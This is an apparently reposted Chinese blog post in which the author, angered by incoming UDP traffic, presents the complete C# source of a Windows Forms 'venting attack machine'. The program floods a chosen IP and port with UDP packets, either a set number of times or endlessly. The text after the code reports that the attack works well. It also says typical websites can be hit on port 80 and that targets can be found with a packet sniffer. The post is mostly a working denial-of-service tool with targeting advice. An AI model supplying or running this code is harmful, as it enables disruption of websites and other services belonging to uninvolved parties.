• 网络攻击程序(C#版) (传)


    来至:http://www.cnblogs.com/tuyile006/archive/2006/09/12/502157.html

    今天开天网,发现有一个ip从早上到下午一直在向我的3076端口发送udp包
    攻击日志一直把天网给活生生的撑破了,天网被日志填满自动关闭。
    气氛之下写了一个反击的程序,代码如下:

    using System;
    using System.Drawing;
    using System.Collections;
    using System.ComponentModel;
    using System.Windows.Forms;
    using System.Data;
    using System.Net;
    using System.Net.Sockets;
    using System.Text;
    using System.Threading;

    namespace socket_sender
    {
     /// <summary>
     /// Form1 的摘要说明。
     /// </summary>
     public class Form1 : System.Windows.Forms.Form
     {
      public bool run=false;    //开始攻击的标志
      public string sendstr="泄愤!";   //待发送的内容
      public int count=0;    //发送次数
      public Thread myAttack; //攻击线程
      private System.Windows.Forms.Label label1;
      private System.Windows.Forms.TextBox t_dis;
      private System.Windows.Forms.Label label2;
      private System.Windows.Forms.TextBox t_numb;
      private System.Windows.Forms.RadioButton r1;
      private System.Windows.Forms.RadioButton r2;
      private System.Windows.Forms.Button button1;
      private System.Windows.Forms.Button button2;
      private System.Windows.Forms.Label label3;
      public System.Windows.Forms.TextBox t_port;
      private System.Windows.Forms.Label label4;
      public  System.Windows.Forms.TextBox t_content;
      public System.Windows.Forms.Label msg;
      private System.Windows.Forms.Label label5;
      private System.Windows.Forms.TextBox t_locPort;
      /// <summary>
      /// 必需的设计器变量。
      /// </summary>
      private System.ComponentModel.Container components = null;

      public Form1()
      {
       //
       // Windows 窗体设计器支持所必需的
       //
       InitializeComponent();

       //
       // TODO: 在 InitializeComponent 调用后添加任何构造函数代码
       //
      }

      /// <summary>
      /// 清理所有正在使用的资源。
      /// </summary>
      protected override void Dispose( bool disposing )
      {
       if( disposing )
       {
        if (components != null)
        {
         components.Dispose();
        }
       }
       base.Dispose( disposing );
      }

      #region Windows 窗体设计器生成的代码
      /// <summary>
      /// 设计器支持所需的方法 - 不要使用代码编辑器修改
      /// 此方法的内容。
      /// </summary>
      private void InitializeComponent()
      {
       this.label1 = new System.Windows.Forms.Label();
       this.t_dis = new System.Windows.Forms.TextBox();
       this.label2 = new System.Windows.Forms.Label();
       this.t_numb = new System.Windows.Forms.TextBox();
       this.r1 = new System.Windows.Forms.RadioButton();
       this.r2 = new System.Windows.Forms.RadioButton();
       this.button1 = new System.Windows.Forms.Button();
       this.button2 = new System.Windows.Forms.Button();
       this.label3 = new System.Windows.Forms.Label();
       this.t_port = new System.Windows.Forms.TextBox();
       this.label4 = new System.Windows.Forms.Label();
       this.t_content = new System.Windows.Forms.TextBox();
       this.msg = new System.Windows.Forms.Label();
       this.label5 = new System.Windows.Forms.Label();
       this.t_locPort = new System.Windows.Forms.TextBox();
       this.SuspendLayout();
       //
       // label1
       //
       this.label1.Location = new System.Drawing.Point(24, 104);
       this.label1.Name = "label1";
       this.label1.Size = new System.Drawing.Size(56, 16);
       this.label1.TabIndex = 0;
       this.label1.Text = "目标IP:";
       //
       // t_dis
       //
       this.t_dis.Location = new System.Drawing.Point(112, 96);
       this.t_dis.Name = "t_dis";
       this.t_dis.Size = new System.Drawing.Size(192, 21);
       this.t_dis.TabIndex = 2;
       this.t_dis.Text = "";
       //
       // label2
       //
       this.label2.Font = new System.Drawing.Font("宋体", 12F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((System.Byte)(134)));
       this.label2.ForeColor = System.Drawing.Color.FromArgb(((System.Byte)(192)), ((System.Byte)(64)), ((System.Byte)(0)));
       this.label2.Location = new System.Drawing.Point(112, 24);
       this.label2.Name = "label2";
       this.label2.Size = new System.Drawing.Size(136, 16);
       this.label2.TabIndex = 2;
       this.label2.Text = "网络泄愤攻击机";
       //
       // t_numb
       //
       this.t_numb.Enabled = false;
       this.t_numb.Location = new System.Drawing.Point(232, 240);
       this.t_numb.Name = "t_numb";
       this.t_numb.Size = new System.Drawing.Size(40, 21);
       this.t_numb.TabIndex = 12;
       this.t_numb.Text = "";
       //
       // r1
       //
       this.r1.Location = new System.Drawing.Point(152, 240);
       this.r1.Name = "r1";
       this.r1.Size = new System.Drawing.Size(88, 24);
       this.r1.TabIndex = 10;
       this.r1.Text = "攻击次数:";
       this.r1.CheckedChanged += new System.EventHandler(this.r1_CheckedChanged);
       //
       // r2
       //
       this.r2.Checked = true;
       this.r2.Location = new System.Drawing.Point(40, 240);
       this.r2.Name = "r2";
       this.r2.TabIndex = 8;
       this.r2.TabStop = true;
       this.r2.Text = "一直循环";
       //
       // button1
       //
       this.button1.Location = new System.Drawing.Point(56, 280);
       this.button1.Name = "button1";
       this.button1.Size = new System.Drawing.Size(75, 32);
       this.button1.TabIndex = 15;
       this.button1.Text = "开 始";
       this.button1.Click += new System.EventHandler(this.button1_Click);
       //
       // button2
       //
       this.button2.Location = new System.Drawing.Point(200, 280);
       this.button2.Name = "button2";
       this.button2.Size = new System.Drawing.Size(75, 32);
       this.button2.TabIndex = 16;
       this.button2.Text = "停 止";
       this.button2.Click += new System.EventHandler(this.button2_Click);
       //
       // label3
       //
       this.label3.Location = new System.Drawing.Point(24, 136);
       this.label3.Name = "label3";
       this.label3.Size = new System.Drawing.Size(72, 16);
       this.label3.TabIndex = 0;
       this.label3.Text = "目标端口:";
       //
       // t_port
       //
       this.t_port.Location = new System.Drawing.Point(112, 128);
       this.t_port.Name = "t_port";
       this.t_port.Size = new System.Drawing.Size(88, 21);
       this.t_port.TabIndex = 4;
       this.t_port.Text = "";
       //
       // label4
       //
       this.label4.Location = new System.Drawing.Point(24, 168);
       this.label4.Name = "label4";
       this.label4.Size = new System.Drawing.Size(64, 16);
       this.label4.TabIndex = 0;
       this.label4.Text = "内容:";
       //
       // t_content
       //
       this.t_content.Location = new System.Drawing.Point(112, 168);
       this.t_content.Multiline = true;
       this.t_content.Name = "t_content";
       this.t_content.Size = new System.Drawing.Size(192, 56);
       this.t_content.TabIndex = 6;
       this.t_content.Text = "";
       //
       // msg
       //
       this.msg.ForeColor = System.Drawing.Color.Red;
       this.msg.Location = new System.Drawing.Point(8, 336);
       this.msg.Name = "msg";
       this.msg.Size = new System.Drawing.Size(296, 16);
       this.msg.TabIndex = 9;
       this.msg.Text = "发送次数:";
       //
       // label5
       //
       this.label5.Location = new System.Drawing.Point(24, 72);
       this.label5.Name = "label5";
       this.label5.Size = new System.Drawing.Size(72, 16);
       this.label5.TabIndex = 0;
       this.label5.Text = "本地端口:";
       //
       // t_locPort
       //
       this.t_locPort.Location = new System.Drawing.Point(112, 64);
       this.t_locPort.Name = "t_locPort";
       this.t_locPort.Size = new System.Drawing.Size(88, 21);
       this.t_locPort.TabIndex = 1;
       this.t_locPort.Text = "8000";
       //
       // Form1
       //
       this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);
       this.ClientSize = new System.Drawing.Size(328, 357);
       this.Controls.Add(this.msg);
       this.Controls.Add(this.t_content);
       this.Controls.Add(this.t_port);
       this.Controls.Add(this.button1);
       this.Controls.Add(this.r2);
       this.Controls.Add(this.t_numb);
       this.Controls.Add(this.r1);
       this.Controls.Add(this.label2);
       this.Controls.Add(this.t_dis);
       this.Controls.Add(this.label1);
       this.Controls.Add(this.button2);
       this.Controls.Add(this.label3);
       this.Controls.Add(this.label4);
       this.Controls.Add(this.label5);
       this.Controls.Add(this.t_locPort);
       this.Name = "Form1";
       this.Text = "小y";
       this.Closing += new System.ComponentModel.CancelEventHandler(this.Form1_Closing);
       this.ResumeLayout(false);

      }
      #endregion

      /// <summary>
      /// 应用程序的主入口点。
      /// </summary>
      [STAThread]
      static void Main()
      {
       Application.Run(new Form1());
      }

    //开始按钮
      private void button1_Click(object sender, System.EventArgs e)
      {
          //检测ip和端口号是否填写完整
       if(t_dis.Text==""||t_port.Text==""||t_locPort.Text=="")
       {
        MessageBox.Show("本地端口,目标IP和端口三项不能为空!");
        return;
       }
                //检查是否有自定义发送消息
       if(t_content.Text!="")
        sendstr=t_content.Text;
                //开启线程来实现攻击
       Thread myAttack=new Thread(new ThreadStart(this.SendTo));
       myAttack.Start();
      }

    //线程主函数,功能:发送攻击数据包
      public void SendTo()
      {   
       msg.Text="线程启动……";
       //建立EndPoint和socket
       IPEndPoint localHost=new IPEndPoint(IPAddress.Any,int.Parse(t_locPort.Text));
       IPEndPoint remotHost=new IPEndPoint(IPAddress.Parse(t_dis.Text),Convert.ToInt16(t_port.Text));
       Socket s=new Socket(AddressFamily.InterNetwork,SocketType.Dgram,ProtocolType.Udp);
                s.SetSocketOption(SocketOptionLevel.Socket,SocketOptionName.SendTimeout,5);
       //开始建立连接
       try
       {
        s.Bind((EndPoint)localHost);
        s.Connect(remotHost);
       }
       catch(SocketException e)
       {
        MessageBox.Show("建立连接失败!"+e.Message.ToString());
        return;
       }

       //如果连接成功,开始发送数据包
       msg.Text="连接成功!";
       byte[] sendb=Encoding.Default.GetBytes(sendstr);
       run=true;
       while(run)
       {
        Application.DoEvents();
        if(r1.Checked)
        {
         //如果选择了多少次
         for(int i=1;i<=Convert.ToInt16(t_numb.Text);i++)
         {
          s.Send(sendb,sendb.Length,0); //发送数据
          count++;
          msg.Text="发送次数:"+count;
         }
         run=false;  //攻击完指定次数后,循环结束
        }
        else
        {
         //选择了一直发送
         s.Send(sendb,sendb.Length,0); //发送数据
         count++;
         msg.Text="发送次数:"+count;
        }
       }
       s.Close();
       run=false;
                msg.Text="线程退出,攻击停止!";
      }

    //停止攻击
      private void button2_Click(object sender, System.EventArgs e)
      {
         run=false;
      }
    //指定发送次数
      private void r1_CheckedChanged(object sender, System.EventArgs e)
      {
       if(r1.Checked)
        t_numb.Enabled=true;
       else
        t_numb.Enabled=false;
      }
    //关闭
      private void Form1_Closing(object sender, System.ComponentModel.CancelEventArgs e)
      {
       run=false;
       if(myAttack!=null)
        myAttack.Join(3000);
      }
     }
    }


    我在wind2000下运行通过,攻击效果不错。

    选填ip和端口的方法:不是所有的ip和所有的端口都可以攻击的,但一般网站的ip+80端口,都可以攻击
    也可以用一些抓包工具抓到网络的ip信息,填上该iP和对应的端口就一定可以连上。抓包工具如:sniffer1.02
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  • 原文地址:https://www.cnblogs.com/yibinboy/p/1304076.html
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